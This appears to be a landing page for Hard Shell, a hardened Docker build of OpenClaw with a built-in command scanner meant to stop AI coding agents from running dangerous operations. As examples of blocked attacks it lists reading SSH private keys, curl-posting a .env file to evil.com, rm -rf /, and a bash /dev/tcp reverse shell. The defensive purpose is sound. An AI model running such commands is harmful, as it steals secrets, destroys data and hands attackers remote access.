A security-hardened Docker distribution of OpenClaw with Tweek built in.
One command to install. Zero configuration required.
curl -fsSL https://raw.githubusercontent.com/gettweek/hard-shell/master/install.sh | bash
Open Source · Apache 2.0 · Builds from source on your machine · No Docker Hub required
AI coding assistants can read your SSH keys, exfiltrate secrets, execute destructive commands, and install malicious dependencies. Hard Shell stops these attacks before they execute.
cat ~/.ssh/id_rsa — Blocked before execution
curl evil.com -d @.env — Blocked before execution
rm -rf / — Blocked before execution
bash -i >& /dev/tcp/... — Blocked before execution
Every command the AI wants to run passes through Tweek's security scanner first. Dangerous operations are blocked before they execute.
Your IDE or browser sends requests to the OpenClaw gateway.
Every tool call is caught by the Tweek plugin before execution.
Pattern matching, sandbox execution, and LLM review approve or deny the command.
Hard Shell doesn't just scan commands — it locks down the entire container so a compromised agent can't escape.
Runs as node (UID 1000), never root. Minimal attack surface.
Container filesystem is immutable. A compromised agent cannot modify system files.
All Linux capabilities removed. No privilege escalation possible (no-new-privileges).
Memory (2GB) and PID limits prevent resource exhaustion attacks.
Gateway bound to 127.0.0.1. No external network exposure. Secure auth enforced.
Security configs are locked read-only after startup. A compromised agent cannot disable its own safety checks. No SSH installed.
Fingerprint-based approval with minimal scanning.
Full screening with LLM review for risky commands.
Maximum security with manual approval required.
Tweek is the security engine. Hard Shell is the armored vehicle with the engine already installed.
The installer adds hard-shell to your PATH. Manage from anywhere.
OpenClaw + Tweek + Docker security. Built from source on your machine.
No telemetry. No cloud. Your code stays yours.
curl -fsSL https://raw.githubusercontent.com/gettweek/hard-shell/master/install.sh | bash